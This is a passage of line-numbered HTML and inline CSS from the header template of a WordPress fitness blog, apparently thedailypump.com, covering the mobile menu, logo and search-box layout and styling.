943</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><span class="tdb-mobile-menu-icon tdb-mobile-menu-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M126.925 136.037v770.202h770.161v-770.202h-770.161zM725.965 735.108h-427.909v-82.616h427.909v82.616zM725.965 562.379h-427.909v-82.606h427.909v82.606zM725.965 389.795h-427.909v-82.616h427.909v82.616z"></path></svg></span></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_9  wpb_column vc_column_container tdc-column td-pb-span4">
944<style scoped>
945
946/* custom css */
947.tdi_9{
948                    vertical-align: baseline;
949                }.tdi_9 > .wpb_wrapper,
950				.tdi_9 > .wpb_wrapper > .tdc-elements{
951				    display: block;
952				}.tdi_9 > .wpb_wrapper > .tdc-elements{
953				    width: 100%;
954				}.tdi_9 > .wpb_wrapper > .vc_row_inner{
955				    width: auto;
956				}.tdi_9 > .wpb_wrapper{
957				    width: auto;
958				    height: auto;
959				}
960
961/* phone */
962@media (max-width: 767px){
963.tdi_9{
964                    vertical-align: middle;
965                }
966}
967/* inline tdc_css att */
968
969/* phone */
970@media (max-width: 767px)
971{
972.tdi_9{
973width:60% !important;
974display:inline-block !important;
975}
976}
977
978</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_10 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_10" >
979<style>
980
981/* inline tdc_css att */
982
983/* phone */
984@media (max-width: 767px)
985{
986.tdi_10{
987margin-top:-5px !important;
988}
989}
990
991</style>
992<style>
993/* custom css */
994.tdb_header_logo{
995                  margin-bottom: 0;
996                  clear: none;
997                }.tdb_header_logo .tdb-logo-a,
998                .tdb_header_logo h1{
999                  display: flex;
1000                  pointer-events: auto;
1001                  align-items: flex-start;
1002                }.tdb_header_logo h1{
1003                  margin: 0;
1004                  line-height: 0;
1005                }.tdb_header_logo .tdb-logo-img-wrap img{
1006                  display: block;
1007                }.tdb_header_logo .tdb-logo-svg-wrap + .tdb-logo-img-wrap{
1008                  display: none;
1009                }.tdb_header_logo .tdb-logo-svg-wrap svg{
1010                  width: 50px;
1011                  display: block;
1012                  transition: fill .3s ease;
1013                }.tdb_header_logo .tdb-logo-text-wrap{
1014                  display: flex;
1015                }.tdb_header_logo .tdb-logo-text-title,
1016                .tdb_header_logo .tdb-logo-text-tagline{
1017                  -webkit-transition: all 0.2s ease;
1018                  transition: all 0.2s ease;
1019                }.tdb_header_logo .tdb-logo-text-title{
1020                  background-size: cover;
1021                  background-position: center center;
1022                  font-size: 75px;
1023                  font-family: serif;
1024                  line-height: 1.1;
1025                  color: #222;
1026                  white-space: nowrap;
1027                }.tdb_header_logo .tdb-logo-text-tagline{
1028                  margin-top: 2px;
1029                  font-size: 12px;
1030                  font-family: serif;
1031                  letter-spacing: 1.8px;
1032                  line-height: 1;
1033                  color: #767676;
1034                }.tdb_header_logo .tdb-logo-icon{
1035                  position: relative;
1036                  font-size: 46px;
1037                  color: #000;
1038                }.tdb_header_logo .tdb-logo-icon-svg{
1039                  line-height: 0;
1040                }.tdb_header_logo .tdb-logo-icon-svg svg{
1041                  width: 46px;
1042                  height: auto;
1043                }.tdb_header_logo .tdb-logo-icon-svg svg,
1044                .tdb_header_logo .tdb-logo-icon-svg svg *{
1045                  fill: #000;
1046                }.tdi_10 .tdb-logo-a,
1047                .tdi_10 h1{
1048                   align-items: flex-start;
1049                
1050                    justify-content: center;
1051                }.tdi_10 .tdb-logo-svg-wrap{
1052                    display: block;
1053                }.tdi_10 .tdb-logo-svg-wrap + .tdb-logo-img-wrap{
1054                    display: none;
1055                }.tdi_10 .tdb-logo-text-tagline{
1056                    margin-top: 0;
1057                    margin-left: 8px;
1058                
1059                    display: block;
1060                
1061                    color: #ffffff;
1062                
1063                    font-family:Noto Sans !important;font-size:22px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;;
1064                }.tdi_10 .tdb-logo-text-title{
1065                    display: block;
1066                
1067                    color: #ffffff;
1068                
1069                    font-family:Bree Serif !important;font-size:26px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;;
1070                }.tdi_10 .tdb-logo-text-wrap{
1071                    flex-direction: row;
1072                    align-items: baseline;
1073                }.tdi_10 .tdb-logo-icon-svg svg{
1074                    width: 22px;
1075                }.tdi_10 .tdb-logo-icon{
1076                    margin-right: 10px;
1077                
1078                    top: 5px;
1079                
1080                    display: block;
1081                }.tdi_10 .tdb-logo-icon:last-child{
1082                    margin-right: 0;
1083                }@media (max-width: 767px) {
1084                  .tdb_header_logo .tdb-logo-text-title {
1085                    font-size: 36px;
1086                  }
1087                }@media (max-width: 767px) {
1088                  .tdb_header_logo .tdb-logo-text-tagline {
1089                    font-size: 11px;
1090                  }
1091                }
1092
1093/* landscape */
1094@media (min-width: 1019px) and (max-width: 1140px){
1095.tdi_10 .tdb-logo-img{
1096                    max-width: 100px;
1097                }
1098}
1099
1100/* portrait */
1101@media (min-width: 768px) and (max-width: 1018px){
1102.tdi_10 .tdb-logo-img{
1103                    max-width: 80px;
1104                }.tdi_10 .tdb-logo-img-wrap{
1105                    margin-top: 0px;
1106                
1107                    margin-bottom: 0px;
1108                
1109                    margin-right: 5px;
1110                
1111                    margin-left: 0px;
1112                }.tdi_10 .tdb-logo-img-wrap:first-child{
1113                    margin-top: 0;
1114                
1115                    margin-left: 0;
1116                }.tdi_10 .tdb-logo-img-wrap:last-child{
1117                    margin-bottom: 0;
1118                
1119                    margin-right: 0;
1120                }.tdi_10 .tdb-logo-text-tagline{
1121                    margin-top: 0;
1122                    margin-left: 5px;
1123                
1124                    font-family:Noto Sans !important;font-size:18px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;;
1125                }.tdi_10 .tdb-logo-text-title{
1126                    font-family:Bree Serif !important;font-size:20px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;;
1127                }
1128}
1129
1130/* phone */
1131@media (max-width: 767px){
1132.tdi_10 .tdb-logo-img-wrap{
1133                    margin-top: 0px;
1134                
1135                    margin-bottom: 0px;
1136                
1137                    margin-right: 5px;
1138                
1139                    margin-left: 0px;
1140                
1141                    display: block;
1142                }.tdi_10 .tdb-logo-img-wrap:first-child{
1143                    margin-top: 0;
1144                
1145                    margin-left: 0;
1146                }.tdi_10 .tdb-logo-img-wrap:last-child{
1147                    margin-bottom: 0;
1148                
1149                    margin-right: 0;
1150                }
1151}
1152</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://thedailypump.com/"><h1><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">fitness</span><span class="tdb-logo-text-tagline">blog</span></span></h1></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_12  wpb_column vc_column_container tdc-column td-pb-span4">
1153<style scoped>
1154
1155/* custom css */
1156.tdi_12{
1157                    vertical-align: baseline;
1158                }.tdi_12 > .wpb_wrapper,
1159				.tdi_12 > .wpb_wrapper > .tdc-elements{
1160				    display: block;
1161				}.tdi_12 > .wpb_wrapper > .tdc-elements{
1162				    width: 100%;
1163				}.tdi_12 > .wpb_wrapper > .vc_row_inner{
1164				    width: auto;
1165				}.tdi_12 > .wpb_wrapper{
1166				    width: auto;
1167				    height: auto;
1168				}
1169
1170/* phone */
1171@media (max-width: 767px){
1172.tdi_12{
1173                    vertical-align: middle;
1174                }
1175}
1176/* inline tdc_css att */
1177
1178/* phone */
1179@media (max-width: 767px)
1180{
1181.tdi_12{
1182width:20% !important;
1183justify-content:flex-end !important;
1184text-align:right !important;
1185display:inline-block !important;
1186}
1187}
1188
1189</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_13 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_13" >
1190<style>
1191
1192/* inline tdc_css att */
1193
1194/* phone */
1195@media (max-width: 767px)
1196{
1197.tdi_13{
1198margin-right:-3px !important;
1199padding-top:3px !important;
1200}
1201}
1202
1203</style>
1204<style>
1205/* custom css */
1206.tdb_mobile_search{
1207                  margin-bottom: 0;
1208                  clear: none;
1209                }.tdb_mobile_search a{
1210                  display: inline-block !important;
1211                  position: relative;
1212                  text-align: center;
1213                  color: #4db2ec;
1214                }.tdb_mobile_search a > span{
1215                  display: flex;
1216                  align-items: center;
1217                  justify-content: center;
1218                }.tdb_mobile_search svg{
1219                  height: auto;
1220                }.tdb_mobile_search svg,
1221                .tdb_mobile_search svg *{
1222                  fill: #4db2ec;
1223                }#tdc-live-iframe .tdb_mobile_search a{
1224                  pointer-events: none;
1225                }.td-search-opened{
1226                  overflow: hidden;
1227                }.td-search-opened #td-outer-wrap{
1228                  position: static;
1229                }.td-search-opened .td-search-wrap-mob{
1230                  position: fixed;
1231                }.tdi_13{
1232                    display: inline-block;
1233                }.tdi_13 .tdb-block-inner{
1234                    text-align: right;
1235                }.tdi_13 .tdb-header-search-button-mob i{
1236                    font-size: 22px;
1237                
1238                    width: 55px;
1239					height: 55px;
1240					line-height:  55px;
1241                }.tdi_13 .tdb-header-search-button-mob svg{
1242                    width: 22px;
1243                }.tdi_13 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{
1244                    width: 55px;
1245					height: 55px;
1246					display: flex;
1247                    justify-content: center;
1248                }.tdi_13 .tdb-header-search-button-mob{
1249                    color: #ffffff;
1250                }.tdi_13 .tdb-header-search-button-mob svg,
1251                .tdi_13 .tdb-header-search-button-mob svg *{
1252                    fill: #ffffff;
1253                }.tdi_13 .tdb-header-search-button-mob:hover{
1254                    color: #8dacff;
1255                }
1256
1257/* phone */
1258@media (max-width: 767px){
1259.tdi_13 .tdb-header-search-button-mob i{
1260                    font-size: 25px;
1261                
1262                    width: 25px;
1263					height: 25px;
1264					line-height:  25px;
1265                }.tdi_13 .tdb-header-search-button-mob svg{
1266                    width: 25px;
1267                }.tdi_13 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{
1268                    width: 25px;
1269					height: 25px;
1270					display: flex;
1271                    justify-content: center;
1272                }
1273}
1274</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><span class="tdb-mobile-search-icon tdb-mobile-search-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M958.484 910.161l-134.564-134.502c63.099-76.595 94.781-170.455 94.72-264.141 0.061-106.414-40.755-213.228-121.917-294.431-81.244-81.183-187.976-121.958-294.359-121.938-106.435-0.020-213.187 40.796-294.369 121.938-81.234 81.203-122.010 188.017-121.989 294.369-0.02
12740 106.445 40.755 213.166 121.989 294.287 81.193 81.285 187.945 122.020 294.369 121.979 93.716 0.041 187.597-31.642 264.11-94.659l134.554 134.564 57.457-57.467zM265.431 748.348c-65.546-65.495-98.13-150.999-98.171-236.882 0.041-85.832 32.625-171.346 98.171-236.913 65.567-65.536 151.081-98.099 236.933-98.14 85.821 0.041 171.336 32.604 236.902 98.14 65.495 65.516 98.12 151.122 98.12 236.913 0 85.924-32.625 171.387-98.12 236.882-65.556 65.495-151.009 98.099-236.902 98.099-85.852 0-171.366-32.604-236.933-98.099zM505.385 272.864c-61.901 0.020-123.566 23.501-170.824 70.799-47.288 47.258-70.769 108.923-70.799 170.834-0.041 26.624 4.383 53.105 13.046 78.428-0.031-0.522-0.092-1.024-0.031-1.556 13.199-91.341 48.241-159.775 96.963-208.497v-0.020h0.031c48.712-48.722 117.135-83.763 208.486-96.963 0.522-0.061 1.024 0 1.536 0.041-25.313-8.684-51.794-13.087-78.408-13.066z"></path></svg></span></span></div></div> <!-- ./block --></div></div></div></div></div></div>                </div>
1275                                <div class="td-header-mobile-sticky-wrap tdc-zone-sticky-invisible tdc-zone-sticky-inactive" style="display: none">
1276                    <div id="tdi_14" class="tdc-zone"><div class="tdc_zone tdi_15  wpb_row td-pb-row" data-sticky-offset="0" >
1277<style scoped>
1278
1279/* custom css */
1280.tdi_15{
1281                    min-height: 0;
1282                }.td-header-mobile-sticky-wrap.td-header-active{
1283                    opacity: 1;
1284                }
1285</style><div id="tdi_16" class="tdc-row"><div class="vc_row tdi_17  wpb_row td-pb-row" >
1286<style scoped>
1287
1288/* custom css */
1289.tdi_17,
1290                .tdi_17 .tdc-columns{
1291                    min-height: 0;
1292                }.tdi_17,
1293				.tdi_17 .tdc-columns{
1294				    display: block;
1295				}.tdi_17 .tdc-columns{
1296				    width: 100%;
1297				}
1298</style><div class="vc_column tdi_19  wpb_column vc_column_container tdc-column td-pb-span12">
1299<style scoped>
1300
1301/* custom css */
1302.tdi_19{
1303                    vertical-align: baseline;
1304                }.tdi_19 > .wpb_wrapper,
1305				.tdi_19 > .wpb_wrapper > .tdc-elements{
1306				    display: block;
1307				}.tdi_19 > .wpb_wrapper > .tdc-elements{
1308				    width: 100%;
1309				}.tdi_19 > .wpb_wrapper > .vc_row_inner{
1310				    width: auto;
1311				}.tdi_19 > .wpb_wrapper{
1312				    width: auto;
1313				    height: auto;
1314				}
1315</style><div class="wpb_wrapper" ></div></div></div></div></div></div>                </div>
1316                
1317                <div class="td-header-desktop-wrap ">
1318                    <div id="tdi_20" class="tdc-zone"><div class="tdc_zone tdi_21  wpb_row td-pb-row tdc-element-style"  >
1319<style scoped>
1320
1321/* custom css */
1322.tdi_21{
1323                    min-height: 0;
1324                }.td-header-desktop-wrap{
1325                    position: relative;
1326                }
1327/* inline tdc_css att */
1328
1329.tdi_21{
1330box-shadow:0 0 16px rgba(0,0,0,0.16) !important;
1331z-index:999 !important;
1332position:relative;
1333}
1334
1335/* portrait */
1336@media (min-width: 768px) and (max-width: 1018px)
1337{
1338.tdi_21{
1339box-shadow:0 0 16px rgba(0,0,0,0.16) !important;
1340}
1341}
1342
1343</style>
1344<div class="tdi_20_rand_style td-element-style" ><style>
1345.tdi_20_rand_style{
1346background-color:#ffffff !important;
1347}
1348 </style></div><div id="tdi_22" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_23  wpb_row td-pb-row tdc-row-content-vert-center" >
1349<style scoped>
1350
1351/* custom css */
1352.tdi_23,
1353                .tdi_23 .tdc-columns{
1354                    min-height: 0;
1355                }#tdi_22.tdc-row[class*='stretch_row'] > .td-pb-row > .td-element-style,
1356                #tdi_22.tdc-row[class*='stretch_row'] > .td-pb-row > .tdc-video-outer-wrapper{
1357                    width: 100% !important;
1358                }.tdi_23,
1359				.tdi_23 .tdc-columns{
1360				    display: block;
1361				}.tdi_23 .tdc-columns{
1362				    width: 100%;
1363				}@media (min-width: 767px) {
1364                    .tdi_23.tdc-row-content-vert-center,
1365                    .tdi_23.tdc-row-content-vert-center .tdc-columns {
1366                        display: flex;
1367                        align-items: center;
1368                        flex: 1;
1369                    }
1370                    .tdi_23.tdc-row-content-vert-bottom,
1371                    .tdi_23.tdc-row-content-vert-bottom .tdc-columns {
1372                        display: flex;
1373                        align-items: flex-end;
1374                        flex: 1;
1375                    }
1376                    .tdi_23.tdc-row-content-vert-center .td_block_wrap {
1377                        vertical-align: middle;
1378                    }
1379                    .tdi_23.tdc-row-content-vert-bottom .td_block_wrap {
1380                        vertical-align: bottom;
1381                    }
1382                }
1383
1384/* landscape */
1385@media (min-width: 1019px) and (max-width: 1140px){
1386@media (min-width: 768px) {
1387	                .tdi_23 {
1388	                    margin-left: -0px;
1389	                    margin-right: -0px;
1390	                }
1391	                .tdi_23 .tdc-row-video-background-error,
1392	                .tdi_23 .vc_column {
1393	                    padding-left: 0px;
1394	                    padding-right: 0px;
1395	                }
1396                }
1397}
1398
1399/* portrait */
1400@media (min-width: 768px) and (max-width: 1018px){
1401@media (min-width: 768px) {
1402	                .tdi_23 {
1403	                    margin-left: -0px;
1404	                    margin-right: -0px;
1405	                }
1406	                .tdi_23 .tdc-row-video-background-error,
1407	                .tdi_23 .vc_column {
1408	                    padding-left: 0px;
1409	                    padding-right: 0px;
1410	                }
1411                }
1412}
1413/* inline tdc_css att */
1414
1415.tdi_23{
1416padding-top:15px !important;
1417padding-bottom:15px !important;
1418}
1419
1420.tdi_23 .td_block_wrap{ text-align:left }
1421
1422/* portrait */
1423@media (min-width: 768px) and (max-width: 1018px)
1424{
1425.tdi_23{
1426padding-top:8px !important;
1427padding-right:12px !important;
1428padding-bottom:8px !important;
1429padding-left:12px !important;
1430}
1431}
1432
1433/* landscape */
1434@media (min-width: 1019px) and (max-width: 1140px)
1435{
1436.tdi_23{
1437padding-top:12px !important;
1438padding-bottom:12px !important;
1439}
1440}
1441
1442</style><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
1443<style scoped>
1444
1445/* custom css */
1446.tdi_25{
1447                    vertical-align: baseline;
1448                }.tdi_25 > .wpb_wrapper,
1449				.tdi_25 > .wpb_wrapper > .tdc-elements{
1450				    display: block;
1451				}.tdi_25 > .wpb_wrapper > .tdc-elements{
1452				    width: 100%;
1453				}.tdi_25 > .wpb_wrapper > .vc_row_inner{
1454				    width: auto;
1455				}.tdi_25 > .wpb_wrapper{
1456				    width: auto;
1457				    height: auto;
1458				}
1459/* inline tdc_css att */
1460
1461.tdi_25{
1462width:20% !important;
1463}
1464
1465/* landscape */
1466@media (min-width: 1019px) and (max-width: 1140px)
1467{
1468.tdi_25{
1469width:22% !important;
1470}
1471}
1472
1473/* portrait */
1474@media (min-width: 768px) and (max-width: 1018px)
1475{
1476.tdi_25{
1477width:24% !important;
1478}
1479}
1480
1481</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
1482<style>
1483
1484/* inline tdc_css att */
1485
1486.tdi_26{
1487margin-top:-8px !important;
1488}
1489
1490/* portrait */
1491@media (min-width: 768px) and (max-width: 1018px)
1492{
1493.tdi_26{
1494margin-top:-5px !important;
1495}
1496}
1497
1498/* landscape */
1499@media (min-width: 1019px) and (max-width: 1140px)
1500{
1501.tdi_26{
1502margin-top:-7px !important;
1503margin-left:-5px !important;
1504}
1505}
1506
1507</style>
1508<style>
1509/* custom css */
1510.tdi_26{
1511                    display: inline-block;
1512                }.tdi_26 .tdb-logo-a,
1513                .tdi_26 h1{
1514                   align-items: flex-start;
1515                
1516                    justify-content: flex-start;
1517                }.tdi_26 .tdb-logo-svg-wrap{
1518                    display: block;
1519                }.tdi_26 .tdb-logo-svg-wrap + .tdb-logo-img-wrap{
1520                    display: none;
1521                }.tdi_26 .tdb-logo-img{
1522                    max-width: 170px;
1523                }.tdi_26 .tdb-logo-text-tagline{
1524                    margin-top: 0;
1525                    margin-left: 8px;
1526                
1527                    display: none;
1528                
1529                    color: #333333;
1530                
1531                    font-family:Noto Sans !important;font-size:22px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;;
1532                }.tdi_26 .tdb-logo-text-title{
1533                    display: none;
1534                
1535                    color: #333333;
1536                
1537                    font-family:Bree Serif !important;font-size:26px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;;
1538                }.tdi_26 .tdb-logo-text-wrap{
1539                    flex-direction: row;
1540                    align-items: baseline;
1541                }.tdi_26 .tdb-logo-icon-svg svg{
1542                    width: 22px;
1543                }.tdi_26 .tdb-logo-icon{
1544                    margin-right: 10px;
1545                
1546                    top: 5px;
1547                
1548                    display: block;
1549                
1550                    color: #333333;
1551                }.tdi_26 .tdb-logo-icon:last-child{
1552                    margin-right: 0;
1553                }.tdi_26 .tdb-logo-icon-svg svg,
1554                .tdi_26 .tdb-logo-icon-svg svg *{
1555                    fill: #333333;
1556                }
1557
1558/* landscape */
1559@media (min-width: 1019px) and (max-width: 1140px){
1560.tdi_26 .tdb-logo-img{
1561                    max-width: 100px;
1562                }
1563}
1564
1565/* portrait */
1566@media (min-width: 768px) and (max-width: 1018px){
1567.tdi_26 .tdb-logo-img{
1568                    max-width: 80px;
1569                }.tdi_26 .tdb-logo-img-wrap{
1570                    margin-top: 0px;
1571                
1572                    margin-bottom: 0px;
1573                
1574                    margin-right: 5px;
1575                
1576                    margin-left: 0px;
1577                }.tdi_26 .tdb-logo-img-wrap:first-child{
1578                    margin-top: 0;
1579                
1580                    margin-left: 0;
1581                }.tdi_26 .tdb-logo-img-wrap:last-child{
1582                    margin-bottom: 0;
1583                
1584                    margin-right: 0;
1585                }.tdi_26 .tdb-logo-text-tagline{
1586                    margin-top: 0;
1587                    margin-left: 5px;
1588                
1589                    font-family:Noto Sans !important;font-size:18px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;;
1590                }.tdi_26 .tdb-logo-text-title{
1591                    font-family:Bree Serif !important;font-size:20px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;;
1592                }
1593}
1594
1595/* phone */
1596@media (max-width: 767px){
1597.tdi_26 .tdb-logo-img-wrap{
1598                    margin-top: 0px;
1599                
1600                    margin-bottom: 0px;
1601                
1602                    margin-right: 5px;
1603                
1604                    margin-left: 0px;
1605                
1606                    display: block;
1607                }.tdi_26 .tdb-logo-img-wrap:first-child{
1608                    margin-top: 0;
1609                
1610                    margin-left: 0;
1611                }.tdi_26 .tdb-logo-img-wrap:last-child{
1612                    margin-bottom: 0;
1613                
1614                    margin-right: 0;
1615                }
1616}
1617</style><div class="tdb-block-inner td-fix-index">
1617<a class="tdb-logo-a" href="https://thedailypump.com/"><h1><span class="tdb-logo-img-wrap"><img class="tdb-logo-img" src="https://thedailypump.com/wp-content/uploads/2020/05/thedailypumplogo-02.png" alt="Logo"  title=""  width="2196" height="714" /></span><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">fitness</span><span class="tdb-logo-text-tagline">blog</span></span></h1></a></div></div> <!-- ./block --><div class="td_block_wrap tdb_header_search tdi_27 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_27" >
1618<style>
1619
1620/* inline tdc_css att */
1621
1622.tdi_27{
1623margin-top:8px !important;
1624margin-left:15px !important;
1625padding-top:8px !important;
1626padding-left:15px !important;
1627border-color:rgba(0,0,0,0.12) !important;
1628border-style:solid !important;
1629border-width: 0px 0px 0px 1px !important;
1630}
1631
1632/* portrait */
1633@media (min-width: 768px) and (max-width: 1018px)
1634{
1635.tdi_27{
1636margin-left:12px !important;
1637padding-left:14px !important;
1638}
1639}
1640
1641/* landscape */
1642@media (min-width: 1019px) and (max-width: 1140px)
1643{
1644.tdi_27{
1645margin-left:18px !important;
1646padding-top:3px !important;
1647padding-left:20px !important;
1648}
1649}
1650
1651</style>
1652<style>
1653/* custom css */
1654.tdb_module_header{
1655                  width: 100%;
1656                  padding-bottom: 0;
1657                }.tdb_module_header .td-module-container{
1658                  display: flex;
1659                  flex-direction: column;
1660                  position: relative;
1661                }.tdb_module_header .td-module-container:before{
1662                  content: '';
1663                  position: absolute;
1664                  bottom: 0;
1665                  left: 0;
1666                  width: 100%;
1667                  height: 1px;
1668                }.tdb_module_header .td-image-wrap{
1669                  display: block;
1670                  position: relative;
1671                  padding-bottom: 70%;
1672                }.tdb_module_header .td-image-container{
1673                  position: relative;
1674                  width: 100%;
1675                  flex: 0 0 auto;
1676                }.tdb_module_header .td-module-thumb{
1677                  margin-bottom: 0;
1678                }.tdb_module_header .td-module-meta-info{
1679                  width: 100%;
1680                  margin-bottom: 0;
1681                  padding: 7px 0 0 0;
1682                  z-index: 1;
1683                  border: 0 solid #eaeaea;
1684                  min-height: 0;
1685                }.tdb_module_header .entry-title{
1686                  margin: 0;
1687                  font-size: 13px;
1688                  font-weight: 500;
1689                  line-height: 18px;
1690                }.tdb_module_header .td-post-author-name,
1691                .tdb_module_header .td-post-date,
1692                .tdb_module_header .td-module-comments{
1693                  vertical-align: text-top;
1694                }.tdb_module_header .td-post-author-name,
1695                .tdb_module_header .td-post-date{
1696                  top: 3px;
1697                }.tdb_module_header .td-thumb-css{
1698                  width: 100%;
1699                  height: 100%;
1700                  position: absolute;
1701                  background-size: cover;
1702                  background-position: center center;
1703                }.tdb_module_header .td-category-pos-image .td-post-category:not(.td-post-extra-category),
1704                .tdb_module_header .td-post-vid-time{
1705                  position: absolute;
1706                  z-index: 2;
1707                  bottom: 0;
1708                }.tdb_module_header .td-category-pos-image .td-post-category:not(.td-post-extra-category){
1709                  left: 0;
1710                }.tdb_module_header .td-post-vid-time{
1711                  right: 0;
1712                  background-color: #000;
1713                  padding: 3px 6px 4px;
1714                  font-family: 'Open Sans', 'Open Sans Regular', sans-serif;
1715                  font-size: 10px;
1716                  font-weight: 600;
1717                  line-height: 1;
1718                  color: #fff;
1719                }.tdb_module_header .td-excerpt{
1720                  margin: 20px 0 0;
1721                  line-height: 21px;
1722                }.tdb_module_header .td-read-more{
1723                  margin: 20px 0 0;
1724                }.tdb_module_search .tdb-author-photo{
1725                  display: inline-block;
1726                }.tdb_module_search .tdb-author-photo,
1727                .tdb_module_search .tdb-author-photo img{
1728                  vertical-align: middle;
1729                }.tdb_module_search .td-post-author-name{
1730                  white-space: normal;
1731                }.tdb_header_search{
1732                  margin-bottom: 0;
1733                  clear: none;
1734                }.tdb_header_search .tdb-block-inner{
1735                  position: relative;
1736                  display: inline-block;
1737                  width: 100%;
1738                }.tdb_header_search .tdb-search-form{
1739                  position: relative;
1740                  padding: 20px;
1741                  border-width: 3px 0 0;
1742                  border-style: solid;
1743                  border-color: #4db2ec;
1744                  pointer-events: auto;
1745                }.tdb_header_search .tdb-search-form:before{
1746                  content: '';
1747                  position: absolute;
1748                  top: 0;
1749                  left: 0;
1750                  width: 100%;
1751                  height: 100%;
1752                  background-color: #fff;
1753                }.tdb_header_search .tdb-search-form-inner{
1754                  position: relative;
1755                  display: flex;
1756                  background-color: #fff;
1757                }.tdb_header_search .tdb-search-form-inner:after{
1758                  content: '';
1759                  position: absolute;
1760                  top: 0;
1761                  left: 0;
1762                  width: 100%;
1763                  height: 100%;
1764                  border: 1px solid #e1e1e1;
1765                  pointer-events: none;
1766                }.tdb_header_search .tdb-head-search-placeholder{
1767                  position: absolute;
1768                  top: 50%;
1769                  transform: translateY(-50%);
1770                  padding: 3px 9px;
1771                  font-size: 12px;
1772                  line-height: 21px;
1773                  color: #999;
1774                  -webkit-transition: all 0.3s ease;
1775                  transition: all 0.3s ease;
1776                  pointer-events: none;
1777                }.tdb_header_search .tdb-head-search-form-input:focus + .tdb-head-search-placeholder,
1778                .tdb-head-search-form-input:not(:placeholder-shown) ~ .tdb-head-search-placeholder{
1779                  opacity: 0;
1780                }.tdb_header_search .tdb-head-search-form-btn,
1781                .tdb_header_search .tdb-head-search-form-input{
1782                  height: auto;
1783                  min-height: 32px;
1784                }.tdb_header_search .tdb-head-search-form-input{
1785                  color: #444;
1786                  flex: 1;
1787                  background-color: transparent;
1788                  border: 0;
1789                }.tdb_header_search .tdb-head-search-form-input.tdb-head-search-nofocus{
1790                  color: transparent;
1791                  text-shadow: 0 0 0 #444;
1792                }.tdb_header_search .tdb-head-search-form-btn{
1793                  margin-bottom: 0;
1794                  padding: 0 15px;
1795                  background-color: #222222;
1796                  font-family: 'Roboto', sans-serif;
1797                  font-size: 13px;
1798                  font-weight: 500;
1799                  color: #fff;
1800                  -webkit-transition: all 0.3s ease;
1801                  transition: all 0.3s ease;
1802                  z-index: 1;
1803                }.tdb_header_search .tdb-head-search-form-btn:hover{
1804                  background-color: #4db2ec;
1805                }.tdb_header_search .tdb-head-search-form-btn i,
1806                .tdb_header_search .tdb-head-search-form-btn span{
1807                  display: inline-block;
1808                  vertical-align: middle;
1809                }.tdb_header_search .tdb-head-search-form-btn i{
1810                  font-size: 12px;
1811                }.tdb_header_search .tdb-head-search-form-btn .tdb-head-search-form-btn-icon{
1812                  position: relative;
1813                }.tdb_header_search .tdb-head-search-form-btn .tdb-head-search-form-btn-icon-svg{
1814                  line-height: 0;
1815                }.tdb_header_search .tdb-head-search-form-btn svg{
1816                  width: 12px;
1817                  height: auto;
1818                }.tdb_header_search .tdb-head-search-form-btn svg,
1819                .tdb_header_search .tdb-head-search-form-btn svg *{
1820                  fill: #fff;
1821                  -webkit-transition: all 0.3s ease;
1822                  transition: all 0.3s ease;
1823                }.tdb_header_search .tdb-aj-search-results{
1824                  padding: 20px;
1825                  background-color: rgba(144, 144, 144, 0.02);
1826                  border-width: 1px 0;
1827                  border-style: solid;
1828                  border-color: #ededed;
1829                  background-color: #fff;
1830                }.tdb_header_search .tdb-aj-search-results .td_module_wrap:last-child{
1831                  margin-bottom: 0;
1832                  padding-bottom: 0;
1833                }.tdb_header_search .tdb-aj-search-results .td_module_wrap:last-child .td-module-container:before{
1834                  display: none;
1835                }.tdb_header_search .tdb-aj-search-inner{
1836                  display: flex;
1837                  flex-wrap: wrap;
1838                  *zoom: 1;
1839                }.tdb_header_search .tdb-aj-search-inner:before,
1840                .tdb_header_search .tdb-aj-search-inner:after{
1841                  display: table;
1842                  content: '';
1843                  line-height: 0;
1844                }.tdb_header_search .tdb-aj-search-inner:after{
1845                  clear: both;
1846                }.tdb_header_search .result-msg{
1847                  padding: 4px 0 6px 0;
1848                  font-family: 'Roboto', sans-serif;
1849                  font-size: 12px;
1850                  font-style: italic;
1851                  background-color: #fff;
1852                }.tdb_header_search .result-msg a{
1853                  color: #222;
1854                }.tdb_header_search .result-msg a:hover{
1855                  color: #4db2ec;
1856                }.tdb_header_search .td-module-meta-info,
1857                .tdb_header_search .td-next-prev-wrap{
1858                  text-align: left;
1859                }.tdb_header_search .td_module_wrap:hover .entry-title a{
1860                  color: #4db2ec;
1861                }.tdb_header_search .tdb-aj-cur-element .entry-title a{
1862                  color: #4db2ec;
1863                }.tdc-dragged .tdb-head-search-btn:after,
1864                .tdc-dragged .tdb-drop-down-search{
1865                  visibility: hidden !important;
1866                  opacity: 0 !important;
